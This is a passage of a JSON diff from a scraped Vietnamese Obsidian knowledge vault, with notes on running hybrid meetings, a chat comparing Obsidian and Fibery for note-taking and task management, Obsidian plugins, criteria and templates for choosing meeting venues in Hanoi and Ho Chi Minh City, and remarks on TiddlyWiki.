PowerPoint nếu chỉ bật không thôi thì thấy nhanh, nhưng nếu có bật với Zoom (chưa cần chia sẻ) thì đã thấy giựt. Chưa kể lúc đó mic dễ bị trục trặc. Vì thế, máy của người thuyết trình phải đủ mạnh, nếu không thì chỉ nên nói thôi chứ không nên chia sẻ màn hình.\n\n## Điều kiện tốt nhất \nNên có những thứ sau:\n- 🎙️🔊 1 bộ loa, mic chuyên dụng cho việc họp\n- 🔓 1 tài khoản Zoom premium/Google Meet premium\n- 🖥️ 2 màn hình: 1 để xem mặt người online + nội dung chat, 1 để trình chiếu\n- 📹 1 webcam \n- 💻 Máy của người thuyết trình đủ mạnh \n- 🌐 Internet ổn định\n\nMột số thiết bị gợi ý:\n- [Microsoft Modern USB-C Speaker](https://www.youtube.com/watch?v=S2qjBBnVeqU \"Giờ họp khỏi xài tai nghe nữa, quá ngon: Microsoft Modern USB-C Speaker - YouTube\"): 2.680.000 ₫\n![](https://cdn-dynmedia-1.microsoft.com/is/image/microsoftcorp/Panel3-S2-FeatureCtr?scl=1) \n## Khi không có đầy đủ thiết bị\nBảng dưới đây liệt kê những giải pháp khi thiếu một trong những thứ đó. Nếu không cần dùng đến cái nào thì xem như đã có nó đó rồi.\n\n| 🎙️🔊 Có bộ loa, mic chuyên dụng | 🔓 Có tài khoản Zoom/Google Meet premium | 🖥️ Có máy chiếu | 📹 Có webcam | `←` Tình huống
    `↓` Phương án giải quyết |\n| ------------------------------- | ---------------------------------------- | --------------- | ------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n| ❌ | ✔ | ✔ | ✔ | Dùng một điện thoại hoặc laptop để thay thế

    Nếu tiếng không được lớn, người ở xa không nghe rõ, cũng như mic không thu tiếng của họ rõ thì cần có thêm loa ngoài |\n| ✔ | ❌ | ✔ | ✔ | Dùng [[Discord (gọi video)\\|Discord]], [[Gather]] hoặc Jitsi trên một máy
    Bấm vào từng link để xem chi tiết |\n| ✔ | ✔ | ❌ | ✔ | • Vác màn hình riêng cũng không quá bất tiện
    • Nhiều máy cùng vào cùng lúc và tắt hết tiếng, mic |\n| ✔ | ✔ | ✔ | ❌ | Gắn điện thoại lên cây selfie đứng hoặc tripod |\n| 🎙️🔊 Có bộ loa, mic chuyên dụng | 🔓 Có tài khoản Zoom/Google Meet premium | 🖥️ Có máy chiếu | 📹 Có webcam | `←` Tình huống
    `↕` Phương án giải quyết |\n| ❌ | ❌ | ✔ | ✔ | Tương tự như ở dưới, nhưng gọi trên [[Discord (gọi video)\\|Discord]], [[Gather]] hoặc Jitsi |\n| ❌ | ✔ | ❌ | ✔ | Dùng nhiều điện thoại, laptop vào cùng lúc.

    Nếu bị hú thì có 2 cách:
    • Mỗi người đeo một tai nghe, hoặc
    • Khi ai nói thì người đó bật mic và loa, tất cả mọi người cùng tắt |\n| ❌ | ✔ | ✔ | ❌ | Tương tự như ở trên |\n| 🎙️🔊 Có bộ loa, mic chuyên dụng | 🔓 Có tài khoản Zoom/Google Meet premium | 🖥️ Có máy chiếu | 📹 Có webcam | `←` Tình huống
    `↕` Phương án giải quyết |\n| ✔ | ❌ | ❌ | ✔ | Dùng [[Discord (gọi video)\\|Discord]], [[Gather]] hoặc Jitsi trên tất cả các máy. Tắt hết tất cả mic và loa |\n| ✔ | ❌ | ✔ | ❌ | Dùng [[Discord (gọi video)\\|Discord]], [[Gather]] hoặc Jitsi trên một máy. Gắn điện thoại lên cây selfie đứng hoặc tripod |\n| ✔ | ✔ | ❌ | ❌ | Dùng [[Zoom]], [[Google Meet]], [[Discord (gọi video)\\|Discord]], [[Gather]] hoặc Jitsi trên tất cả các máy. Tắt hết tất cả mic và loa. |\n| ❌ | ❌ | ❌ | ✔ | |\n| ❌ | ❌ | ✔ | ❌ | |\n| ❌ | ✔ | ❌ | ❌ | |\n| ✔ | ❌ | ❌ | ❌ | |\n| ❌ | ❌ | ❌ | ❌ | |\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T06:21:00.000Z", - "id": "Qi" + "Ngày cập nhật": "2024-09-02T18:23:00.000Z", + "id": "Qw" }, { - "Tiêu đề": "Google Drive", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Chương trình/Google Drive", + "Tiêu đề": "Làm livestream và video", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Hậu cần/Làm livestream và video", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "## Đánh dấu các phần của file thu âm \n## Đánh dấu các phần của một recording\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T06:21:00.000Z", - "id": "Qj" + "Ngày tạo": "2023-06-02T03:46:00.000Z", + "Ngày cập nhật": "2024-09-02T18:21:00.000Z", + "id": "Qx" }, { - "Tiêu đề": "Nhược điểm của Obsidian và Fibery", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Chương trình/Nhược điểm của Obsidian và Fibery", + "Tiêu đề": "Cricket", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Hậu cần/Nơi gặp mặt trực tiếp/Hà Nội/Cricket", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "1. raw data từ user research vs highlight from literature note là như nhau\n\n\nnó có sự giống nhau đến kì lạ giữa processs xử lý kiến thức và xử lý feedback của product development\n\nThì nó cũng là xử lý kiến thức thôi mà?\n\nnhưng nó lại relevant\n\n\nnghĩa là khác cách diễn đạt: bên pkm thì zettelkasten: fleeting note → literature note → evergreen . thì bên product nó tương tự: feedback (Raw data) → insights → features\n\nAnh vẫn thấy bản chất của tụi nó là một mà\n\nthì đó a, nó là 1, nhưng người ta lại diễn giải theo nhiều cách khác nhau\n\nVậy cách em ứng dụng nó như thế nào?\n\nbuild pkm như cách product delopment làm\n\ndaily note ⇄ fleeting note ⇄ raw data\n\nliterature note (highlights) ⇄ Insight ⇄ processed data\n\nevergreen note ⇄ new create ⇄ feature ⇄ using data\n\nÝ là cái hệ thống của em\n\nEm dùng Obsidian hay Fibery cho công đoạn nào?\n\nlà ở trên đó a\n\nProject với pkm có module giống nhau\n\nnó đều là processing data\n\nmeaning workspace cho work/project với workspace cho việc học pkm được merge\n\nThì là dùng Obsidian hay Fibery?\n\nthì cái nào cũng được á a\n\nnó ko bị giới hạn phần mềm\n\nvì process nó giống nhau nên dùng cái nào cũng đc\n\nnhưng quan trọng cả 2 phải cùng 1 software\n\nko được seperate\n\nanh nhìn này, bên nào cũng process được cả 3 step này\n\ndaily note ⇄ fleeting note ⇄ raw data literature note (highlights) ⇄ Insight ⇄ processed data evergreen note ⇄ new create ⇄ feature ⇄ using data\n\ncái chí mạng chính \"evergreen note ⇄ new create ⇄ feature ⇄ using data\" là visual cái query của obsidian ko visualize được đống output data này 1 cách dễ dàng, nên e mới chịu đấm ăn xôi bên fibery\n\nBên đó visualize dễ dàng được à?\n\nhierarrchy\n\ngant view\n\ntimeline view\n\nboard view\n\nvà đặc biệt của bên này là \"chồng\"\n\noverlapse nhiều database\n\nnó ko cần fai quá phức tạp để visual\n\nTức là đủ cho em rồi?\n\n\"e mới chịu đấm ăn xôi bên fibery\"\n\nTrong phần visualization\n\nmeaning e fai chấp nhận mất cái gì và nhận cái gì, nó ko fai là đủ\n\nThì là em cần cái visualization hơn là việc ghi chép?\n\ne cần using data\n\nnghĩa là e mắc 1 lỗi rất lớn là em chỉ input, import\n\ndù là airtable, sheet hay obsidian, nó chỉ mới dừng được ở bước Nhập liệu raw, processed data\n\nNhưng mà là fibery đủ cho việc visualize của em?\n\nnhưng nó ko đủ cho các tác vụ khác\n\nnên mới gọi là chịu đấm ăn xôi\n\nnó thậm chí ko có markdown basic\n\nAnh chỉ đang nói về cái visualize thôi\n\nah thì nó ổn trong visualize nhưng nó ko được tối ưu nhiều như obsidian\n\nví dụ ha\n\na có thể tạo gantt chart ez\n\nboard chart ez\n\nnhưng h build homepage index thì sao ?\n\nhay create new note dạng wiki (tạo note mà ko create note)\n\nhay thậm chí css của nó cũng fixed cứng đến mức nhìn heading là cảm thấy khó chịu\n\nnó ko fai là dạng opensource- hay cởi mở cho cộng đồng cùng phát triển\n\nmà là 1 dạng đóng, 1 team đóng thực thi, và a biết việc chờ đợi 1 team nhỏ thực thi thì cái nó update lại ko fai cái mình kì vọng\n\ntrong khi obsidian cũng team nhỏ, nhưng cộng đồng thuộc dạng khủng long\n\nnhiều khi mấy cái core mà tụi team nó nghĩ lại chẳng bằng tụi community tự build\n\nnên 1 bên cố đấm ăn xôi: được chỉ 1, mà mất rất rất ratats nhiều\n\nNhưng cái xôi đó quan trọng đến mức tất cả những thứ khác em vẫn chấp nhận hy sinh\n\na sẽ cảm thấy như thế nào nếu direction của core team obsidian + community obsidian ko giải quyết được task worfklow ?\n\nKhó hiểu\n\na có nhớ có giai đoạn e đã chạy khắp nơi chỉ hỏi về workflow cho task management bên obsidian\n\nthậm chí điên cuồng hỏi a để tìm cách nào đó thích ứng\n\ne rất thích canvas vs graph view, thứ mà fibery ko bao giờ muốn làm\n\nthậm chí plugin bên obsidian quá mạnh\n\na tưởng tượng 1 tuần bên fibery update như chờ đò vậy\n\ncòn obsidian thì nó đẻ còn nhanh hơn core plugin\n\nnhiều khi qua 1 tuần, cái update của fibery nó lại ko match vs nhu cầu của mình, còn bên obsidian có khi e nghe update của elenor thôi cũng còn mệt chứ đừng nói là tìm hiểu thêm\n\nEleanor giờ nghỉ đẻ rồi nên ko làm nữa\n\ný e là ko cần eleanor update, việc cái đống community plugin của obsidian nó đẻ theo cấp số nhân, nên cỡ nào nhu cầu của ai đó cũng sẽ match vs 1 plugin nào đó, trừ task plugin\n\nỪ\n\nchính vì vậy e rất rất muốn dùng obsidian nhưng fai dùng fibery\n\nnó rất rất là khó chịu\n\nnhưng ko có alternative nào đc, vì như e nói ở trên: đk tiên quyết là pkm + workspace task/project phải nằm chung 1 software để tận dụng được processing data bằng bi-directional link\n\nnếu nó nằm trên obsidian, thì có cả chục workflow lẫn plugin lẫn external plugin hỗ trợ để processsing data, quá tuyệt vời. markdown outliner, mọi thứ, css custome, theme annupucho gì đó màu cực đẹp, custom checkbox\n\nvậy mà kẹt cái cuối cùng, visualize lại stuck\n\nNhưng cái xôi đó quan trọng đến mức tất cả những thứ khác em vẫn chấp nhận hy sinh\n\n![](https://cdn.discordapp.com/avatars/436156162380005377/bebf29800036e95edb61cb534b7b8c4b.webp?size=240)\n\nThì là vậy đúng ko?\n\nko hẳn là quan trọng trên mức nhưng cái khác, nhưng e ko muốn dừng lại ở đó mãi\n\ncứ input rồi storage mãi\n\ncái e cần là nó phải được lay on, hiện ra\n\nthấy ra big picture\n\nmình đã processing data theo bottom up rồi, nhưng mình cần 1 eagle view, 1 top down đủ bự để nhìn thấu hết\n\nvà đây là điều mà obsidian ko làm đc nhanh và dễ dàng\n\nchính vì vậy e ko có solutions mà đủ, hay cần hay thích hợp, mà chỉ là solution chịu đấm ăn xôi thật sự, nghĩa là dùng trong sự thỏa mãn khó chịu\n\nthằng này lại có cái thằng kia thiếu, nhưng ko thằng nào muốn filled nốt cái thiếu của thằng kia\n\nmỗi thằng lại đi 1 con đường riêng biệt [[Obsidian tập trung hoàn toàn vào việc nhập liệu và bỏ qua việc quản lý tác vụ|thằng obsidian focus canvas yaml → focus hoàn toàn vào việc input và process data đầu vào | inorge task mangement]]\n\n[[Fibery tập trung vào xử lý dữ liệu để ra quyết định và không chịu tập trung vào việc nhập liệu, markdown hay graphview, canvas|thằng fibery focus vào procesing data → nghĩa là distill raw data → processed data + visualize để make decision to implement (Feature) | và ko chịu focus vào việc input nhập liệu, markdown hay grapview, canvas ...]]\n\ne ở giữa e biết kêu gì h\n\nNguồn:: [[Kendy]]\n[[Obsidian không mạnh về quản lý tác vụ]]\n[[Fibery]]", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-08T14:32:00.000Z", - "Ngày cập nhật": "2024-09-02T06:21:00.000Z", - "id": "Qk" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-02T18:21:00.000Z", + "id": "Qy" }, { - "Tiêu đề": "Notion", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Chương trình/Notion", + "Tiêu đề": "Cái Giếng", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Hậu cần/Nơi gặp mặt trực tiếp/Hà Nội/Cái Giếng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Giao diện block cho phép người dùng linh hoạt hơn mà vẫn giữ được sự cấu trúc]]\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T06:21:00.000Z", - "id": "Ql" + "Ngày cập nhật": "2024-09-02T18:21:00.000Z", + "id": "Qz" }, { - "Tiêu đề": "Các nỗ lực quản lý tác vụ trên Obsidian đa phần đều là gắn tag", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Chương trình/Obsidian/Các nỗ lực quản lý tác vụ trên Obsidian đa phần đều là gắn tag", + "Tiêu đề": "Nơi gặp mặt trực tiếp tại Hà Nội", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Hậu cần/Nơi gặp mặt trực tiếp/Hà Nội", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n[[Quản lý tác vụ là quản lý thời gian]]\nNguồn:: ", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-24T05:00:00.000Z", - "Ngày cập nhật": "2024-09-02T06:21:00.000Z", - "id": "Qm" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-02T18:21:00.000Z", + "id": "Q-" }, { - "Tiêu đề": "Các plugin trong Obsidian liên quan đến Notion", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Chương trình/Obsidian/Các plugin trong Obsidian liên quan đến Notion", + "Tiêu đề": "Nơi gặp mặt trực tiếp", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Hậu cần/Nơi gặp mặt trực tiếp", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- [Obsidian to Notion](https://github.com/EasyChris/obsidian-to-notion \"EasyChris/obsidian-to-notion: Share obsidian markdown file to notion and generate notion share link\"): chuyển dữ liệu từ Obsidian sang Notion qua API\n- [Database folder plugin](https://github.com/RafaelGB/obsidian-db-folder \"RafaelGB/obsidian-db-folder: Obsidian Plugin to Allow Notion like database based on folders\") hoặc [Obsidian Database Plugin](https://github.com/tomaszkiewicz/obsidian-database-plugin \"tomaszkiewicz/obsidian-database-plugin: Enables creating databases based on files in Obsidian - like Dataview, but with editing!\"): tạo bảng giống Notion (Notion-like) từ các file trong một folder\n- [Notion 2 Obsidan](https://github.com/visualcurrent/Notion-2-Obsidan \"visualcurrent/Notion-2-Obsidan: Conversion routines to convert all Notion .md exports to full Obsidian compatibility\"): chuyển dữ liệu từ Notion sang Obsidian\n- [Notation theme](https://forum.obsidian.md/t/notation-theme-dark-and-light-more-customisable/568 \"Notation theme (dark and light - more customisable) - Share & showcase - Obsidian Forum\"): theme cho Obsidian mà lấy ý tưởng từ Notion\n\nBọn mình đang thử xây dựng một tổ chức không có sự phân cấp, dựa trên triết học của Deleuze và Guattari, khoa học phức hợp, và game phiêu lưu nhập vai, dựa trên nền tảng Obsidian. Ai hứng thú có thể đọc bài \"Một đám mây chim sáo\" nha.\n\n", + "Toàn bộ nội dung": "## Các loại địa điểm gặp mặt\n- Địa điểm công cộng\n- Không gian làm việc chung\n- Phòng họp riêng\n- Quán có phòng riêng\n- Quán không có phòng riêng\n- Nhà riêng\n\n## Sự mặc định về các thuộc tính\nVì đây là cho việc gặp mặt để thảo luận, nên sẽ xét về những thứ mà một cuộc thảo luận đòi hỏi, cùng với mặc định về không gian mà cuộc thảo luận sẽ diễn ra ở đó.\n\n- Những thuộc tính được xem là **điểm cộng** khi ta không mặc định là nó luôn có ở đó. Có thì tốt, không có thì thường là không sao. Nên với những thuộc tính này, nếu địa điểm đó có thì sẽ liệt kê ra, còn nếu không thì sẽ không nói gì\n- Những thuộc tính được xem là **điểm trừ** khi ta mặc định là nó luôn có ở đó. Nếu không có thì thường là có sao. Nên với những thuộc tính này, nếu địa điểm đó không có thì sẽ có cảnh báo, còn nếu có thì sẽ không nói gì\n\n### Những thuộc tính mặc định là luôn có\nCác thuộc tính này nếu không có thì là điểm trừ:\n- [x] Nhà vệ sinh\n- [x] Xe lăn tiếp cận được\n- [x] Không có loa làm ồn\n- [x] Không cần đặt chỗ trước\n- [x] Không có đèn nhấp nháy hoặc quảng cáo động\n- [x] Giá đã bao gồm thuế\n\n### Những thuộc tính mặc định là không có\nCác thuộc tính này nếu có thì là điểm cộng:\n- [x] Nằm la liệt được\n- [x] Không gian ngoài trời\n- [x] Có đàn hoặc sân khấu nhỏ\n- [x] Nuôi chó mèo\n- [x] Webcam\n\n### Những thuộc tính mà sự mặc định tuỳ vào loại địa điểm\nVới **không gian ngoài trời** thì mặc định là không có, nếu có thì là điểm cộng. Với các loại hình khác thì mặc định là luôn có, nếu không có thì là điểm trừ:\n- [x] Wifi \n- [x] Ổ điện\n- [x] Bàn đúng kích thước làm việc\n- [x] Không có khói thuốc lá\n\nVới **phòng họp riêng** hoặc **quán có phòng riêng** thì mặc định là luôn có, nếu không có thì là điểm trừ. Với những loại hình khác thì mặc định là không có, nếu có thì là điểm cộng:\n- [x] Nói to được\n- [x] Vận động cơ thể được\n- [x] Máy chiếu\n- [x] Loa \n- [x] Mic (không phải là điểm trừ với phòng 20 người trở xuống)\n- [x] Bảng và bút lông\n- [x] Không bị ồn từ bên ngoài\n\n## Tiêu chí thêm vào danh sách\n- Có chính sách hỗ trợ các dự án phi lợi nhuận, hoặc có lợi ích cho người làm phi lợi nhuận (VD: gần nhà nhau, có người quen)\n- Được đề xuất trong nơi thảo luận, hoặc tạo PR trên GitHub\n- Có điểm cộng khác lạ\n\n## Cách thông tin được ghi chú\nVới các **quán nước**, giá nước sẽ là giá món đắt nhất trong 5 món rẻ nhất. Lý do là vì một người muốn tiết kiệm vẫn có thể sẵn sàng mua một thứ đắt hơn thứ rẻ nhất một chút. Trong các bảng so sánh thì giá sẽ bằng tổng của giá nước và giá giữ xe.\n\nCác **quán có phòng riêng** thu tiền bằng việc bán nước cho khách, nên cơ bản là họ cũng không có giá phòng, mà chỉ có giá nước. Điều này khiến cho quán ràng buộc số lượng người đi tối thiểu để được mượn phòng. Cộng với việc người tổ chức quan tâm xem có phòng nào đủ cho sự kiện hay không, trường `Số lượng` sẽ được ghi dưới dạng sau:\n```\nSố lượng:: sốLượngTốiThiểuCủaPhòngNhỏNhất - sốLượngTốiĐaCủaPhòngLớnNhất\n```\n\nTất nhiên, bạn đi ít hơn nhưng mua thêm ly thì cũng không sao. Nếu chỉ có một số thì mặc định sẽ là số lượng tối đa của phòng lớn nhất.\n\nCác **dịch vụ cho thuê phòng họp**, khác với các quán nước, thu tiền từ người tổ chức. Bạn thuê phòng lớn nhất nhưng chỉ đến một mình họ cũng không quan tâm. Nên chỉ cần tạo một bảng giá theo số lượng tối đa của phòng là đủ.\n\nKhi một địa điểm có điểm cộng thì ghi đơn giản là *Điểm cộng*, nhưng khi nó có điểm trừ thì lại không ghi là *Điểm trừ*, mà ghi là *Lưu ý*. Bởi vì từ \"điểm trừ\" tạo cảm giác không thay đổi được, chắc chắn sẽ tạo ra vấn đề, còn từ \"lưu ý\" thì tạo cảm giác tuỳ nhu cầu của mỗi người, có người quan tâm nhiều có người quan tâm ít. Nó cũng tạo cảm giác có thể có cách xử lý (dù tất nhiên không phải xử lý gì thì cũng tốt hơn).\n\n## Các xử lý kỹ thuật\nCác điểm cộng sẽ được ghi ở thể khẳng định và ở định dạng ô chọn (checkbox). Các điểm trừ sẽ được ghi ở thể phủ định và ở định dạng chấm đầu dòng (bullet). Việc này không những để phù hợp với việc ô chọn thường dùng cho những điều cần có, còn chấm đầu dòng thì thường dùng cho những điểm cần lưu ý, mà còn dễ để xử lý trong Dataview hơn. \n\nMẫu tạo mới (template) sẽ liệt kê hết tất cả điểm cộng và điểm trừ, khi áp dụng bạn thấy cái nào sai thì xoá đi. Việc thấy sai thì dễ hơn là nhớ xem mình còn thiếu cái nào, và việc xoá đi thì dễ hơn là viết vào (chỉ cần bấm Ctrl+Shift+K). Các mẫu tạo mới cho những loại hình khác nhau sẽ khác nhau, vì ở đó có những điểm không bao giờ xảy ra, nên có thể bỏ luôn. Ví dụ, ta có thể yên tâm là vào quán thì luôn có nhà vệ sinh, wifi và ổ điện, hoặc vào phòng họp riêng thì luôn có bàn đúng kích thước làm việc và không có không gian ngoài trời.\n\nCũng chính vì như vậy, nên sẽ có những điểm cộng, điểm trừ không chính xác, khi người tạo không có thời gian để tìm hiểu kỹ. Nhược điểm của hướng tiếp cận thà giết nhầm còn hơn bỏ sót, tất nhiên, là sẽ có lúc giết nhầm. Trong tương lai khi viết được language server cho việc này thì sẽ không cần phải làm vậy nữa.\n\nĐể có thể điều chỉnh bảng so sánh, bạn cần [[Hướng dẫn tải kho|tải kho về máy]].\n\n## Nơi thảo luận\n![](https://i.imgur.com/ds6m65A.png)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-20T09:23:00.000Z", - "Ngày cập nhật": "2024-09-02T06:21:00.000Z", - "id": "Qn" + "Ngày tạo": "2024-08-23T08:06:00.000Z", + "Ngày cập nhật": "2024-09-02T18:21:00.000Z", + "id": "Q_" }, { - "Tiêu đề": "Obsidian tập trung hoàn toàn vào việc nhập liệu và bỏ qua việc quản lý tác vụ", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Chương trình/Obsidian/Obsidian tập trung hoàn toàn vào việc nhập liệu và bỏ qua việc quản lý tác vụ", + "Tiêu đề": "Căn tin bệnh viện", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Không gian làm việc chung/Căn tin bệnh viện", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![[💎 Giới thiệu về Obsidian]]\n[How many of you gave up on Task Management via Obsidian? : r/ObsidianMD](https://www.reddit.com/r/ObsidianMD/comments/1dha073/how_many_of_you_gave_up_on_task_management_via/)\n[[Obsidian không mạnh về quản lý tác vụ]]\nNguồn:: [[Kendy]]", + "Mô tả bài đăng": "=địa chỉ", + "Toàn bộ nội dung": "Địa chỉ:: \nGiá thuê:: \nƯu đãi giá:: \nSố người tối thiểu:: \nSố người tối đa:: \n \nGiá giữ xe:: \nLiên hệ::\nWebsite::\nFacebook::\n\nGiờ mở cửa::\nGiờ đóng cửa::\nGhi chú::\n\nLưu ý:\n- Xe lăn không tiếp cận được\n\nĐiểm cộng:\n- [x] Vận động cơ thể được\n- [x] Không gian ngoài trời", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-08T13:20:00.000Z", - "Ngày cập nhật": "2024-09-02T06:21:00.000Z", - "id": "Qo" + "Ngày tạo": "2024-08-23T10:00:00.000Z", + "Ngày cập nhật": "2024-09-02T18:21:00.000Z", + "id": "R0" }, { - "Tiêu đề": "Obsidian", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Chương trình/Obsidian/Obsidian", + "Tiêu đề": "Không gian làm việc chung ở TPHCM", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Không gian làm việc chung", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "Không bị ồn từ bên ngoài:: ✔\nNhà vệ sinh:: ✔\nMáy chiếu:: ✔\nĐược nói to:: ✔\nBàn phù hợp cho việc dùng laptop:: ✔\nCó thể vận động cơ thể:: ✔\n\n```dataview\nLIST\nFROM \"📜Tài nguyên/Nhu cầu công việc/Hậu cần/Nơi gặp mặt trực tiếp/Theo thành phố/TPHCM/Không gian làm việc chung ở TPHCM\"\nWhere file.name!=this.file.name\n```\n### \n\n[Review Co-working Space](https://www.facebook.com/groups/1773972416068355)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-09-01T09:30:00.000Z", - "Ngày cập nhật": "2024-09-02T06:21:00.000Z", - "id": "Qp" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-02T18:21:00.000Z", + "id": "R1" }, { - "Tiêu đề": "Tana", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Chương trình/Tana", + "Tiêu đề": "Phòng tự học của các trường đại học", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Không gian làm việc chung/Phòng tự học của các trường đại học", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Địa chỉ:: \nGiá thuê:: \nƯu đãi giá:: \nSố người tối thiểu:: \nSố người tối đa:: \n \nGiá giữ xe:: \nLiên hệ::\nWebsite::\nFacebook::\n\nGiờ mở cửa::\nGiờ đóng cửa::\nGhi chú::\n\nLưu ý:\n- Xe lăn không tiếp cận được\n- Không có wifi\n\nĐiểm cộng:\n- [x] Vận động cơ thể được\n- [x] Không gian ngoài trời\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T06:21:00.000Z", - "id": "Qq" + "Ngày tạo": "2024-08-23T09:59:00.000Z", + "Ngày cập nhật": "2024-09-02T18:21:00.000Z", + "id": "R2" }, { - "Tiêu đề": "TiddlyWiki", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Chương trình/TiddlyWiki", + "Tiêu đề": "SiHub", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Không gian làm việc chung/SiHub", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \numm, mình nghĩ nó là công cụ được thiết kế tốt, mature, elegant, phù hợp để tổ chức các ghi chú văn bản thuần (bao gồm cả các công thức toán học với latex, các dạng biểu diễn dựa trên văn bản, yml, xml, excaldraw files,...) \n\nnhược điểm là chèn ảnh, dặc biệt là local files khá vất vả với nó (trừ khi upload lên host nào đó rồi dán link vào; ngược lại thì chèn trực tiếp Data URI vào sẽ làm tăng chóng mặt kích thước tệp html.\nmình nghĩ nó trung gian giữa singlenote/google keep, workflowy với mấy cái như Obisidan, Notion, etc..\n\nNó không quá đơn giản đến mức gây overloaded nếu xài singlenote, keeps tầm 100 notes trở lên; nhưng cũng không tích hợp hay ôm đồm quá nhiều thứ như Obsidian, Notion... \n\nNó đơn giản là hyper notes với internal hyperlink, transclusion,... nhẹ nhưng mạnh mẽ, backup đơn giản, nhúng vào đâu cũng được (Drive, Dropbox,.. webapp,...) xài được ở mọi nơi. \nxuanvinh — 08/14/2024 12:45 AM\nnhưng nhưu mình đề cập, nó hướng vào transclusion cho văn bản thuần, ... nên nếu dòng làm việc của bạn nặng về hình ảnh, biểu diễn trực quan,etc các thứ tương tự thì sẽ không hợp. \n\nnếu cố gắng điều chỉnh để \"hợp\" được sẽ vất vả hoặc phải kết hợp thêm các công cụ quản lý nôi dung khác.. nên hiệu năng sẽ bị giảm sút khi ghi chú đủ 